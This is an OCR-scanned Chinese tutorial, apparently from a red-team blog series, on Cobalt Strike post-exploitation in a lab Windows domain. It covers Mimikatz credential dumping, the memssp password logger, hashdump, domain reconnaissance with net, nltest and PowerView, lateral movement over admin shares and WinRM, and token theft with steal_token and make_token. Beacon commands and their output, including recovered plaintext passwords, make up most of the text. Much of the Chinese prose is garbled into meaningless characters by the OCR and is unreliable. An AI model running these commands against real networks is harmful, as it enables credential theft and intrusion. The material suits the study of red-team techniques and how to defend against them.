t/task"><LogonTrigger><Enabled>true</Enabled></LogonTrigger><Cal
endarTrigger><StartBoundary>2020-04-11T21:47:44</StartBoundary><
ScheduleByDay><DaysInterval>1</DaysInterval></ScheduleByDay></Ca
lendarTrigger></Triggers>

[*] Checking for unattended install files...
UnattendPath : C:\Windows\Panther\Unattend.xml

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...
[*] Checking for plaintext passwords in McAfee Sitelist.xml files....

[+] received output:

[*] Checking for cached Group Policy Preferences .xml files....

[+] received output:

MREBCHEN RIS ps1 XHKW, ZXATERENARFAN R IFRITMSERIRIAS 4

SR,

XE R T EMMINA AKEEENL T, LAEIERINPRFTHF Powershell, IB{T set-ExecutionPolicy
RemoteSigned , HIA Y [EZ%E, WITRFFEEES N Powerlp.ps1i XHT,

PS C:\WINDOWS\system32> set-ExecutionPolicy RemoteSigned
HATEREREEEYL
AT REE T ZEBNIREA LEMAT MEERIMI A, EXITRIBPIRERTELENEK, W https:/go.microsoft.com/fwli

Ol /™I Ol TN AN A ™A



N/ TLLNKLU=1001L/7Y

Y about_Execution_Policies ZEBNEFfIA., 2B EBXINITHRES?

Y]l 2CY) [A] £22CA) [N] &(N) [L] 28D [S] &= [7] #Bh (BRIAMERN): Y
PS C:\WINDOWS\system32>

T:I_:E:'\?‘Tr Invoke-Al1Checks }: TEA@JHjéIHU%,/quj%&TE*XE’JEEm\ZL Z ﬁﬁtfﬂﬁ’ﬁ
1 AbuseFunction FHYAFLEBEFIAIRIPURIET

BEHEEECAIMEPHREIMIN, MIT AbuseFunction FIIHLREEBIE—T5 HAIER
AP ERBRAIKS,, REEREIRNAIBERY,

SEZEMEHEXNERNAR, XUENTAX—THEEXAXNER, ELt PowerUp HWEIT
FEENMIRELET .

MRETEERBXENFRBEIER PowerUp 1I#IXNKINNEGER, WBEEDZ,

4. FEUEFE & IREN

BERNEILER, fIMEEERNENSIELATIEIF Access --> Dump Hashes , ETELH
a8HEA hashdump MY,

Cobalt Strike View Afttacks Reporting Help
O 0O H=¢ LU FTwEEH /a B G

external internal = listener user

Interact

ALLES Dump Hashes

Explore +| Elevate
Pivoting * | Golden Ticket
Spawn Make Token

Session * | One-liner

=< Run Mimikatz
i i Beacon 192.168.175.177@2984 X

Spawn As




[+] host called home, sent: 16 bytes
beacon? hashdump

[#] Tasked beacon to dump hashes

[+] host called home, sent: 82501 bytes

[+] received password hashes

Administrator :500 :aad3b4=2K bt LT 818d4: - :

£ O £ N TV ; T

ESRENHRI B NER, AIBABIT mimikatz , AEERANBESIRIEIFE Access --> Run

Mimikatz , E}ZE}?E%U‘E.‘@?? logonpasswords ﬁ_ﬁ/v‘\o

external internal = listener user computer

Administrator * WIN-A7TV1UCADEAS

192.168.175177

I 192168175177

Dump Hashes
Explore + | Elevate

Pivoting »

Golden Ticket

Spawn Make Token

Session * | One-liner

EventLog X | Listeners X | Sites Xl Beacon 192.168.175.177@2984 X

beacon? logompasswords

Credentials X Spawn As

[*] Tasked beacon to run mimikat ekurlsa: :logonpasswords command
[+] host called home, sent: 750674 bytes

[+] received output

Authentication Id :
Session : Interactive from 2
User Name : Administrator
Domain : WIN-ATVIUCADEAS
Logon Server : WIN-ATVIUCADEAB
Logon Time = 2020/7/23 20:20
SID HE e - B R IR LB484-500
msv
[00000003] Primary
* Username : Administrator
* Domain WIN-ATVIOCADEAS
= LN Pyl
* NTLK
* SHAL e A Trliec3f
tspkg :
* Username : Administrator
* Domain WIN-ATVIOCADEAS

* Password : 170

wdigest :



%E View --> Credentials TtE]DAE§%§§U hashdump 5 mimikatz 3%EXE@§QHEO

5. Beacon Hfy Mimikatz

1£ Beacon HERL T mimikatz , mimikatz TG B =M :
mimikatz [module::command] <args>
1Z1T mimikatz %

mimikatz [!module::command] <args>

smmlliE7r2] SYSTEM MRBIITM<S, BAN—Las< RE7E SYSTEM S0 7 8EHIE1T.

mimikatz [@module::command] <args>

{FHZEI Beacon B0 S hIE1T mimikatz a7
THE—L mimikatz 8L,

I'lsadump: :cache

IREVEEREIE, FIAER T Windows REF&IT 10 MEBRE

I'lsadump: : sam

SREVARMIK P 218187, 1Z<5 hashdump EEERZEM

misc::cmd

MEEMRFERT CMD , MEFEHE



Imisc: :memssp

ENEER] Windows SSP RiCRAMSMHINIEERE, XN EIEFHEE
“C:\windows\system32\mimilsa.log” H

misc::skeleton
R REAER., ZmTREMEENAFRII— T ERNER, EAMENAF#R

DMERXMTZEHITIALE, ERNRRZBt eI MER, HREEX Isass.exe H1T/EN, BB
BEEERM,

process: :suspend [pid]

HREEMHE, BEAERE

process::resume [pid]

VRS FERCRIPTE

N ERXLEERZ mimikatz BEfIEIBH—/ BB, TEIBE !misc::memssp BY{ER,

mimikatz !misc::memssp
cd C:\Windows\system32
shell dir mimilsa.log

shell type mimilsa.log

FHIETTIIRE:

B CIE1T mimikatz !'misc::memssp

beacon> mimikatz !misc::memssp

[*] Tasked beacon to run mimikatz's !misc::memssp command
[+] host called home, sent: 1006151 bytes

[+] received output:

Injected =)



FE TR C:\Windows\system32 BE

beacon> cd C:\Windows\system32
[*] cd C:\Windows\system32
[+] host called home, sent: 27 bytes

beacon> shell dir mimilsa.log

[*] Tasked beacon to run: dir mimilsa.log
[+] host called home, sent: 46 bytes

[+] received output:

Fmpgs C FHEREINE,

EHFIISE BE29-9C84

C:\Windows\system32 B H

2020/07/23 21:47 24 mimilsa.log
1 24 F1
0 MEx 17,394,728,900 AHEFET

AIUBRIRFE mimilsa.log XMHM, WRTGEMENENESR, LMBRMSIREERP

%O

BE mimilsa.log XERS.

beacon> shell type mimilsa.log

[*] Tasked beacon to run: type mimilsa.log
[+] host called home, sent: 47 bytes

[+] received output:

[00000000:000003e5] \

[00000000:002b99a7] WIN-75F8PRIM4ATP\Administrator Password123!

FRINGREXZ Sl E R AP RIBANEE,

. - = =a o V.9 ' | gy 0§ iy peomey ooy l ollss A ) weym

peis

7=



1. WiIndows 1EM/ /518 M INIR) T 4n

A E R

JEIBE R Active Directory m—HMEERREREIEAF . RAFRBIEA, EHEEFHN—E

Active Directory FEBEXMNE LXNRIVER, HILEEREANBFRIUNESSMERXLEER.
40 Active Directory 15fRS3EN AD DS FEEBEXAFKFIEER, HEFER—MNE THIEt
BN APE AL E R,

12

17 pomain BIR—1MEERANEFREMELR, AEENAFPNAREHZET AD #HITEER,
FEEE, WRBIZHIRSSF[ATRIFMBEINGEREE,

Iz HIZR

137228 Domain Controller PR BXFME—TNWHENAFPNARSAHTENIIEN—T RS
it

RHBRF Local User FIZRG L—THRERF.

HEAEE Windows 5217 MEE— T AMAAFER, FIDLEEMAN \&eErg SE  tEmn
Z\FArPE RIBEAMWBRIKF, Ef . RRTENR,

AP

B Domain User ZFEIFIZHIEE THIRF, MRBIEEFAF,, FIMBA sa\gmrs

T =]



ML S R

RIEIER Local Administrator BIZIEESMRSEEENIRAIAF

&
il

g

0

Rery
g
ez
pli]

Domain Administrator ZIETEEIEHIER LEEEDIREIAF

IR UTHLREENHIGITHNER, £ Cobalt Strike FiziT R EERIEH LR
ELBINNLE shell 8% powershell ENF],

2, ENMMAFPRE

EAEE

—LE[a)

HHENBRBEME, FEFFRE/LT R,

10 BIELAERB I L?

2. BEEXRRETAHAT?

3. FIAERRIpLLg? XL FRMLERS? BinEita? AJMREftA?
. R LFHAZEIEN S EME?

—LENENDS



net view /domain

A& SaiE

powershell

PS C:\> net view /domain
Domain

TEAMSSIX
a3 < AINTERR .

net view /domain:[domain] . net group "domain computers" /domain

net view /domain:[domain] W& _E—DENMMFIR, BAZMEEN, XMEMEEMN L
LPEFRIINERNAS .
net group "domain computers” /domain BJLAZREIIAZX MM FRIEBRKF IR,

powershell

PS C:\> net view /domain:teamssix
REZ 2B SRR
\\WIN-72A8ERDSF2P
\\WIN-P2AASSD1AF1

L INTER

PS C:\> net group "domain computers"” /domain

HE Domain Computers
R PNEUEARIRRA TIEIEFIARSS 28
FX 3R

WIN-72A8ERDSF2P$
a3 L BINTTA .



nltest /dclist:[domain]

NRBILRBNTENZIAVTIZARS2Z, FTAMER nltest W<

powershell

PS C:\> nltest /dclist:teamssix
RS “teamssix” DC BYFIFRCM “\\WIN-P2AASSDIAF1” ),
WIN-P2AASSD1AF1.teamssix.com [PDC] [DS] its: Default-First-Site-Name
LER L R IhSE R

S{EMA 32 iy payload BITTE 64 MRS L, HA nltest BEAIIEHE, FIgERRRTE
A nltest X1 &<, XINAIAEEER TENSBSHEEERRZ,

powershell

PS C:\> C:\windows\sysnative\nltest /dclist:teamssix
R “teamssix”H DC AIFIFRC(M\\WIN-P2AASSDIAFL1”H),
WIN-P2AASSD1AF1.teamssix.com [PDC] [DS] uis: Default-First-Site-Name
W INTTR

nslookup [name] . ping -n 1 -4 [name]

BRIFE Cobalt Strike £, BAIRAFREMEIRHN NetBIOS &FR, MAMERER IPv4 it
nksy# IPve #itik, NetBIOS BifEEE LB AN SRNTERR,

BRMFEET— IPv4 HEhHFERA— NetBIOS &FR, RAILAER nslookup &%, &
M ping RE—TEFRESENIRERY IP ok,

powershell

PS C:\> nslookup WIN-P2AASSD1AF1
AR$S28:  UnKnown
Addr‘ess 01



R= VI WLN-FZAASSD1ArL.Tteamssix.com
Address: 192.168.15.124

PS C:\> ping -n 1 -4 WIN-P2AASSD1AF1
IE7E Ping WIN-P2AASSD1AF1.teamssix.com [192.168.15.124] BA 32 FTHHIEUE:
EB 192.168.15.124 M[OE: FTH=32 fE<ims TTL=128
192.168.15.124 19 Ping RitEE:

BiEE: B&% =1, BEK = 1, %X = 0 (0% EX),
ERITERNEITTIRE (AZR N RAD)

BE = Oms, HFIK = Oms, F¥Y = Oms

nltest /domain_trusts . nltest /server:[address] /domain_trusts

NRIEEISE LAEEXRR, FILAMER nitest ap <KL,

powershell

PS C:\> nltest /domain_trusts
HEENIIR:

@: TEAMSSIX teamssix.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
AL A IN5E R

PS C:\> nltest /server:192.168.15.124 /domain_trusts
HEENIIR:

@: TEAMSSIX teamssix.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
L ar LR IN5ER

net view \\[nhame]

ZZD%ZFEWH:'.EHLJ:E’\J,*EE%%E, HEHA net view \\[name] B[R]

powershell

PS C:\> net view \\WIN-P2AASSD1AF1
£ \\WIN-75F8PRIMATP HIHZZHR
#EE AW EEH I8

Users Disk
A T =2



Hid X IFA/J LN o

PowerView

ELEHEANANG, WREZFA Windows WAES, bWl net view. net user , AJHE
MEREEALRESMHLERITIRFMEI. BAERALENINEMZER Powershell
VMI 1T IR 0E SR RRENAOAE T,

PowerView £ Will Schroeder FF&# PowerShell BIZs, iZBART24kETF Powershell
VMI, {EF PowerView RILAEIFHIERNMFHEE, EERAZHI, 5 LE—7 PowerUp B9—
FHEEES import & ps1 X4,

PowerView T &ttt :
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
—L6 PowerView BIm <

Get—NetDomain

EEAMIFHER
powershell

PS C:\PowerView> Get-NetDomain

Forest : teamssix.com
DomainControllers : {WIN-P2AASSD1AF1.teamssix.com}
Children . {3

DomainMode : Windows20@12Domain

Parent :

PdcRoleOwner : WIN-P2AASSD1AF1.teamssix.com
RidRoleOwner : WIN-P2AASSD1AF1.teamssix.com

InfrastructureRoleOwner : WIN-P2AASSDI1AF1.teamssix.com
Name : teamssix.com


https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

Invoke—ShareFinder
BERNE FRBFERE

powershell

PS C:\PowerView> Invoke-ShareFinder
\\WIN-P2AASSD1AF1.teamssix.com\ADMIN$ - mEEE

\\WIN-P2AASSD1AF1.teamssix.com\C$ - RAR=E
\\WIN-P2AASSD1AF1.teamssix.com\IPC$ - iz IPC

\\WIN-P2AASSD1AF1.teamssix.com\NETLOGON - Logon server share
\\WIN-P2AASSD1AF1.teamssix.com\SYSVOL Logon server share

Invoke—MapDomainTrust

BRIAREIEERR

powershell

PS C:\PowerView> Invoke-MapDomainTrust

HithBEZREANEESZHHE, &S E PowerView INH LY ReadMe %

Net 1RiR

Cobalt Strike FEEH K net 1R, net #EIRE beacon F5ERHER, ©iEiT windows
HINEEIR api RECEHITHS, BEM net <, REEM beacon FIIZHIFOEEAN net +
FHITHG LB,

powershell



net dclist : ZI4 HFHHATIZHIZS

net dclist [DOMAIN] : FUHIEFEAVIHIEHIZS
net share \\[name] : FIHBEINHZFIX
net view : FHHEMEHAIEM

net view [DOMAIN] : FlIHgEAIE

£ beacon 11| 8 AN XL SREVBMA—TAAR net <, ERF—LELEFHIAE,

LU T E—TREENLIBTT net view IR —12Z7E beacon 1ZH]8 TIE1T net view AYZL
R, F"WEL, beacon THIHHWERENEE,

powershell

PS C:\> net view

RS 2RBR SRR
\\WIN-P2AASSD1AF1

WL HINTER .

powershell

beacon> net view

[*] Tasked beacon to run net view

[+] host called home, sent: 104504 bytes
[+] received output:

List of hosts:

Server Name IP Address Platform Version Type Commen
t
WIN-P2AASSD1AF1 192.168.15.124 500 6.1 PDC



[*] Tasked beacon to run net view
[+] ho=t called home, =zent: 104504 bytes

[+] received output

List of hosts:
Server Name IP Address Platform

WIE—P2 192. 200

PP #
AP REH= N X T:

| HHIKS R THERAKS?
2. LTS BRI EEAKS?

3. MM IkSEXNTARR LA EIRANKS?

I
e
pai

I

dio

B-TRELRE, KWEEANKS,

!ZD%U E e NEEAKS
fERdREISRFIMES AEESR,

VYersion Type

6.

1

PDC

Comment

, ARENEIT—EREEEAKST BDREFENGS, R

Hp—MAAREWIENXABEEATREFBNHZIIR, LLUTEAY dir \\host\C$ &p

R, MRAUER—TXXHEHIIER, BB2RARGERAAERRNR.

powershell



shell dir \\NOST\L>

powershell

beacon> shell dir \\WinDC\C$

[*] Tasked beacon to run: dir \\WinDC\C$
[+] host called home, sent: 55 bytes

[+] received output:

IxE12: \\WinDC\C$ HHERBIRE.
ENFIISE F269-89A7

\\WinDC\C$ BB

2020/06/24 ©09:29 <DIR> inetpub
2009/07/14 11:20 <DIR> PerflLogs
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 ©00:55 <DIR> Windows

0 X 0 F1

6 T™Ex% 28,500,807,680 TAFT

powershell

beacon> shell dir \\WinDC\C$

[*] Tasked beacon to run: dir \\WinDC\C$
[+] host called home, sent: 55 bytes

[+] received output:

EEEAVIEI R

A MiafTHEAtha <, LLAEIT FEN o SLREFRALATUESIIR, IRERET
ESIRIER, WAFEREAHERER, (SESIIKRREEENSRE JIREZN 1BR)

powershell

shell at \\host



powershell

beacon> shell at \\WinDC

[*] Tasked beacon to run: at \\WinDC
[+] host called home, sent: 51 bytes
[+] received output:

RS ID HEA gl

powershell

beacon> shell at \\WinDC

[*] Tasked beacon to run: at \\WinDC
[+] host called home, sent: 51 bytes
[+] received output:

E48TRI),

E:\Install\Thunder\Thunder.exe

FEL—TIHRE Powerview BRZRIFNBENRIERITENBRXLERIH, AJIATEINZ

PowerView E R

powershell

powershell Find-LocalAdminAccess

powershell

beacon> powershell-import powerview.psl
[*] Tasked beacon to import: powerview.psl
<1l ho<t+ called home <ent: 1012724 bhvtec

1T FTENGS, B Powerview BJLAMRFIRFIEEAKS,



_ 4 - - - /-7 - -7 =7 S0 =2 o = = 0 =

beacon> powershell Find-LocalAdminAccess

[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes

[+] received output:

WinDC.teamssix.com

BEEAKS
BoNXRSR, KMHEBRKS.

S EE A

MNFRIVFEERKS, FATUAEHZEFERAZANMAY Windows 3%, BITIA TS AT LA
P IXEE “ERFAE” ARG,

powershell

net group "enterprise admins" /DOMAIN
net group "domain admins" /DOMAIN

powershell

beacon> shell net group "enterprise admins" /domain

[*] Tasked beacon to run: net group "enterprise admins" /domain
[+] host called home, sent: 68 bytes

[+] received output:

HE Enterprise Admins
TR BAKIEERAEERA
%52

Administrator

WIS .



powershell

beacon> shell net group "domain admins" /domain

[*] Tasked beacon to run: net group "domain admins" /domain
[+] host called home, sent: 64 bytes

[+] received output:

A7 Domain Admins
AR IEENEEERA
|54l

Administrator

WL RINTER .

HEIETT FENGSKE RS EESZE LNEER

powershell

net localgroup "administrators" /DOMAIN

powershell

beacon> shell net localgroup "administrators" /domain

[*] Tasked beacon to run: net localgroup "administrators" /domain
[+] host called home, sent: 7@ bytes

[+] received output:

FllE= administrators

AR EEANTTEN/SERZ RSN E 154X
B% 5

administrator

Domain Admins

Daniel

Enterprise Admins
ANt



HIP X A/ I LIEA o

Net 1&iR

beacon ] net BRI IAFENEA], FEMB LR Tarcer MEBE—MImlRNERE
TESENAS, LNEWERR, HEBRES

powershell

net group \\TARGET group name

A AEIT FTENG S, XRERETBRRIRETIER

powershell

net localgroup \\TARGET group name

AHEE R
Net iR

FEER AR —TEKS, EWMRBE—TRGEFERNER, MIZEEERXTARRRZRML
TG, RANNRRKE T ENBBERENEREMAIUNEZAITEF.

beacon B net BIRAIUER T EM—IRBEESIN KRB EEAMABFERF.,
£ beacon 1TH|BHIEIT FHG LA LIRS — 1 Bin LaVEEASIR

powershell



net localgroup \\TARGET

NRIERENBFAMTIR, FIBIT FENGSHERE—TEHEARGNRBTIR,

powershell

net localgroup \\TARGET group name

powershell

beacon> net localgroup \\WinDC administrators
[*] Tasked beacon to run net localgroup administrators on WinDC

[+] host called home, sent: 104510 bytes

[+] received output:

Members of administrators on \\WinDC:
TEAMSSIX\Administrator
TEAMSSIX\Daniel

TEAMSSIX\Enterprise Admins
TEAMSSIX\Domain Admins

PowerView &2k

PowerView £ FTEING S EBE—TEN LHEIREERR, X
P FIRFRIRFEA BB A R BIREI LK,

powershell

Get-Netlocalgroup -hostname TARGET



powershell

beacon> powershell Get-Netlocalgroup -Hostname WinDC

[*] Tasked beacon to run: Get-Netlocalgroup -Hostname WinDC
[+] host called home, sent: 385 bytes

[+] received output:

ComputerName : WinDC

AccountName : teamssix.com/Administrator

IsDomain : True

IsGroup : False

SID : S-1-5-22-3301978333-983314215-684642015-500
Description

Disabled

LastLogin 1 2020/8/17 22:21:23

PwdLastSet

PwdExpired

UserFlags

ComputerName : WinDC
AccountName : teamssix.com/Daniel

3. TH/EENH

MR RFAEERNATHEERNIR, BABATIURERBTRELFHA0E?
BEHEXH
EEAn AR BT iE 1T TEREG<LHKI L C:\foo FIHZXH

powershell

shell dir \\host\C$\foo



powershell

beacon> shell dir \\WinDC\C$

[*] Tasked beacon to run: dir \\WinDC\C$
[+] host called home, sent: 55 bytes

[+] received output:

IxEh2: \\WinDC\C$ HHIERBIRE,
BHFIISRE F269-89A7

\\WinDC\C$ B9EFH

2020/06/24 09:29 <DIR> inetpub
2009/07/14 11:20 <DIR> PerflLogs
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 ©0:55 <DIR> Windows

0 X 0 FT

6 ™Ex 28,500,393,984 mIAFT

EHI3

EEANIEST FTEMNB NG secrets.txt XEFEEHIZHEIE X,

powershell

shell copy \\host\C$\foo\secrets.txt

powershell

beacon> shell copy \\WinDC\C$\foo\secrets.txt

[*] Tasked beacon to run: copy \\WinDC\C$\foo\secrets.txt
[+] host called home, sent: 93 bytes

[+] received output:

==k 1 PXXts,



BEEXHIIER

LAz T TES S, Ef /S RRJILEEBZRAFERMBEXM, /B RnERZRE, Bl
BN EER .

powershell

shell dir /S /B \\host\(C$
powershell

beacon> shell dir /S /B \\WinDC\C$\Users
[*] Tasked beacon to run: dir /S /B \\WinDC\C$\Users
[+] host called home, sent: 67 bytes

[+] received output:
\\WinDC\C$\Users\administrator
\\WinDC\C$\Users\Classic .NET AppPool
\\WinDC\C$\Users\Daniel
\\WinDC\C$\Users\Public
\\WinDC\C$\Users\administrator\Contacts
\\WinDC\C$\Users\administrator\Desktop
\\WinDC\C$\Users\administrator\Documents
\\WinDC\C$\Users\administrator\Downloads
\\WinDC\C$\Users\administrator\Favorites
...... AEEZ, RTEDEE....

{EB WinRM 151762

WinRM Jz1T7E 5985 %[ L, WinRM 2 Windows iZf2E RS, £/ WIinRM B LAFIRfEE
HERG L,

GNRMEFA WIinRM iz1Tas LN A AER TENSG <.



powershell

powershell Invoke-Command -ComputerName TARGET -ScriptBlock {command here}

powershell

beacon> powershell Invoke-Command -ComputerName WinDC -ScriptBlock { net localgroup admin
istrators}

[*] Tasked beacon to run: Invoke-Command -ComputerName WinDC -ScriptBlock { net localgrou
p administrators}

[+] host called home, sent: 303 bytes

[+] received output:

=] administrators

R EEANITEN/EHEAZRHINTE 584X
B4l

Administrator

Domain Admins

Daniel

Enterprise Admins

L RINTER .

x MRGBLIBITRMAEZE N WinRM EEERE, BJ7E powershell TR TIZIT winrm
quickconfig #F %, A y [EIZEANA],

WREBITHRINER, WinRM 8B 3 nS1Ti#1TER, FELLRIA{ER Powershell Y Invoke #p
SHRENZETER, MAMEAEMRERRERIZTHRS,

81T WIinRM 51T Mimikatz

Bi—%, EErILMER PowerSploit 3i@id WinRM 1Z1T Mimikatz, REEHLS A Invoke-
Mimikatz.ps1 X4, BITATa<EIA,



powershell

powershell-import /path/to/Invoke-Mimikatz.psl
powershell Invoke-Mimikatz -ComputerName TARGET

F ZEIR TRZIR PowerView th2 PowerSploit INEEMR% ps1 X2z —,
Mimikatz B9 ps1 X{47E PowerSploit IRE /) Exfiltration B& T, PowerSploit IiE T
bk https://github.com/PowerShellMafia/PowerSploit/

AR beacon HEXMHEHK/NRHITE IMB, 1 Invoke—Mimikatz.ps1 XA/ E 2 MB %, HI
EIZIBIT powershell-import S NZXHRIREE, XERDEEFE{EFER beacon HHY upload @5
LSEHEELFISIERN File Browser BFERE P HEZXH,

powershell

upload C:\path\Invoke-Mimikatz.psl

HEZEEY dir A MEBRRIXHHKLER T C 2T, ZEAIMNETUTeRIKEAIEX
.

powershell

powershell import-module C:\Invoke-Mimikatz.psl

REEETU T <LHMEEEE WinRM H1T Mimikatz 7,


https://github.com/PowerShellMafia/PowerSploit/

powershell

powershell Invoke-Mimikatz -ComputerName TARGET

WIRIBTR TiHE“Invoke-Mimikatz”FHRSH cmdlet. R#.... , WeILEmEmLS U SEeHE—E

17, B

powershell import-module C:\Invoke-Mimikatz.psl ; Invoke-Mimikatz -ComputerName TARGET

powershell

beacon> powershell import-module C:\Invoke-Mimikatz.psl ; Invoke-Mimikatz -ComputerName W
inDC

[*] Tasked beacon to run: import-module C:\Invoke-Mimikatz.psl ; Invoke-Mimikatz -Compute
rName WinDC

[+] host called home, sent: 287 bytes

[+] received output:

"## v ##'  http://blog.gentilkiwi.com/mimikatz (oe.eo0)
Vi with 20 modules * * */
mimikatz(powershell)

Authentication Id : @ ; 314628 (00000000 :0004cdo4)

Session : Interactive from 1

User Name : administrator

Domain : TEAMSSIX

Logon Server : WinDC

Logon Time : 2020/8/20 23:53:08

SID : S$-1-5-22-3301978333-983314215-684642015-500
msv :

roooonon1T Primarv



_ - - - = === - D

* Username : Administrator
...... ABEZ, RIEDEE.....

beacon? powershell import-—module C:\Invoke Mimikats.p=sl : InvokeNMimikatz ComputerName WIN-P

[*] Tasked beacom to run: import—module C:\Invoke—Mimikats.psl ; Invoke—Mimikatz —ComputerName WIN-I

[+] host called home, sent: 287 bytes

[+] received output:

- HHHHH . mimikats 2.1 (x64) built on Now 10 2016 15:31:14
J## T ##. “A La Vie, A L’ Amour”
# /N # [ xx
#iO\ S B4 Benjamin DELPY gentilkiwi ( benjamin@gzentilkiwi.com )
THit v # http://blog. gentilkiwi. con/mimikats (oe. eo)
T HEHEST with 20 modules * * */

mimikats (powershell) # sekurlsa::logonpasswords

Authentication Id : 0 : 314628 (00000000 :0004cd04)
Session : Interactive from 1

User Name : administrator

Domain : TEAMSSIX

Logon Server : WIN-F 1

Logon Time : 2020/8/20 23:53:08

KRTEMRRMEBET T, ERE......

N SE=EBui=LLT



TN YNEA T =

WRHRIMKSDIRBEARARINNZR M EE AR, IBAMAIUIITRSEERR T EMNE, &T
KR E—TXFN—TIRERUAIER, BRI REINTER:

1. Access Token B FERSHE
2. Credentials =EiF
3. Password Hashes Z2HOMAZ

4. Kerberos Tickets B xEIE

BExX<Hh
BROMEBR Y EHOIE
SEMHRRILTRIEXE

Bl
RFPMTRFPANER
At it B LT IR
BRI (MFRFR - 0 P 42 R9ARER)
ZERIL (XFRERER)

—EREFEAFH, BEEIRAER
U FE<LHE 5 BB

€A ps FlH#HFZE



PU/T) SLEUL_LUREIT LYY TOLAA X T

{EFA getuid HEUREiE
R revzself BRShE

BETRENRERLETER, BalE—1 SYSTEM RNEIE, ZE1ETE WIN-
72A8ERDSF2P AT, IEIIEEE WIN-P2AASSDIAFT EA FHIXH (WIN-P2AASSDIAFT
EAZE TEAMSSIX RV HIZS) , BAEKRIBIT dir =i@RELTE,

powershell

beacon> shell dir \\WIN-P2AASSD1AFI\C$

[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes

[+] received output:

E48TRI),

LERS, %6 ps BERE—TIHRIRAAHEER.

powershell

beacon> ps

[*] Tasked beacon to list processes
[+] host called home, sent: 12 bytes
[*] Process List

PID PPID Name Arch Session User

(/] 0 [System Process]

4 0 System x04 0 NT AUTHORITY\SYSTEM
...... ABKZ, LHBEE...

3720 524  taskhost.exe x64 2 WIN-72A8ERDSFZ2P\Administrator

4092 236 dwm. exe X604 3 TEAMSSIX\Administrator



BT #HZEE LI TEAMSSIX 13 FHEE A NMKF LAY £ S AT SYSTEM S1EMNEN L2
FEM, A steal_token [pid] #<EHE TEAMSSIX\Administrator kIS HE

powershell

beacon> steal_token 4092

[*] Tasked beacon to steal token from PID 4092
[+] host called home, sent: 12 bytes

[+] Impersonated TEAMSSIX\administrator

BE—THAISIE uid

powershell

beacon> getuid

[*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes

[*] You are TEAMSSIX\administrator (admin)

BRI IRBUGHE HIZ8 £ F RIS

powershell

beacon> shell dir \\WIN-P2AASSD1AF1\C$

[*] Tasked beacon to run: dir \\WIN-P2AASSD1AFI1\C$

[+] host called home, sent: 55 bytes

[+] received output:

X2 \\WIN-P2AASSDI1AFI\C$ HmELEINE,

BHFTISE F269-89A7

\\WIN-P2AASSD1AFI\C$ HBZ

2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)

YOAOMN /N7 /17 D N\ _NTD.

1l A e e~



LYY/ Vil /S Ao ~J . VUYU NULINA votl o

2020/07/26 00:55 <DIR> Windows
0 X4 0 =%
4 TMEF 28,493,299,712 A AHET

3720 h24 taskhost.exe f WIN-" MNAdministrator
4092 236 dwm.exe ; ; TEAMSSIX\Administrator

beacon> steal token 4092

[*] Tasked beacon to steal token from PID 4092
[+] ho=st called home, sent: 12 bytes

[+] Impersonated TEAMSSIX\administrator
beacon> getuid

[*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes

[*] You are TEAMSSIX\administrator (admin)
hbeacon> shell dir \\W: 1\C§

[*] Tasked beacon to run: dir \\WIN

[+] host called home, sent: 55 bytes

[+] received outpout

Eaes \\WIN-] 1\cs PAIERAITE.
EMFPISE F269-89a7

\\WIN-P 1\cs MEF

RIMATARINIEEI T, {EA revzself AIISFREAIGENRISRE



powersnell

beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes

BXREE uid KMETR TR SYSTEM R, LERS WIN-P2AASSD1AFT A1 B4 1E
“#ihE) T,

powershell

beacon> getuid

[*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes

[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> shell dir \\WIN-P2AASSD1AF1\C$

[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes

[+] received output:

{E48Th1]),

=9I
1. {EB make_token RliE—Spe

powershell

make_token DOMAIN\user password



AN

FEEiTLZH, FTEMEERMSEAFLNE, XERMER mimikatz #1T73RE, B8
BiEASE (CS EIEID | 14. powerup #RNHIFE) X—THHNA.

N

XERZMNEX—##IME, £— SYSTEM &1ET, FKREX TEAMSSIX\administrator k5%
F2. {EF mimikatz B] LAS4%0 TEAMSSIX\administrator kS 2185 Test111!, 1ETFEER

AN
make_token npé?o

powershell

beacon> make_token TEAMSSIX\administrator Testl111!
[*] Tasked beacon to create a token for TEAMSSIX\administrator
[+] host called home, sent: 53 bytes

[+] Impersonated NT AUTHORITY\SYSTEM

beacon> shell dir \\WIN-P2AASSD1AF1\C$

[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes

[+] received output:

IXEhEs \\WIN-P2AASSD1AFI\C$ HHBEHBIRE.,
BHFTISE F269-89A7

\\WIN-P2AASSD1AFI\C$ WBZ

2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 ©00:55 <DIR> Windows

0 Xt 0 F1

4 MEZ 28,493,299,712 AIRET

beacon> powershell Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}

[*] Tasked beacon to run: Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes

[+] received output:

teamssix\administrator

HEBWMAEIRN, HITLEEMNARTGISMSIRT 235K fanprasmssn,.  BFENER
revzself RIPREHFIDHE, MERRKLN SYSTEM R,


https://teamssix.com/year/200419-150600.html

2. {£H spawn beacon E{EIE

powershell

spawnas DOMAIN\user password

3. EBM LEEUMK,

powershell

net use \\host\C$/USER:DOMAIN\user password
XA, EZRNZEICHHRZHDIREE, XERBIZHR,

ZEIRE
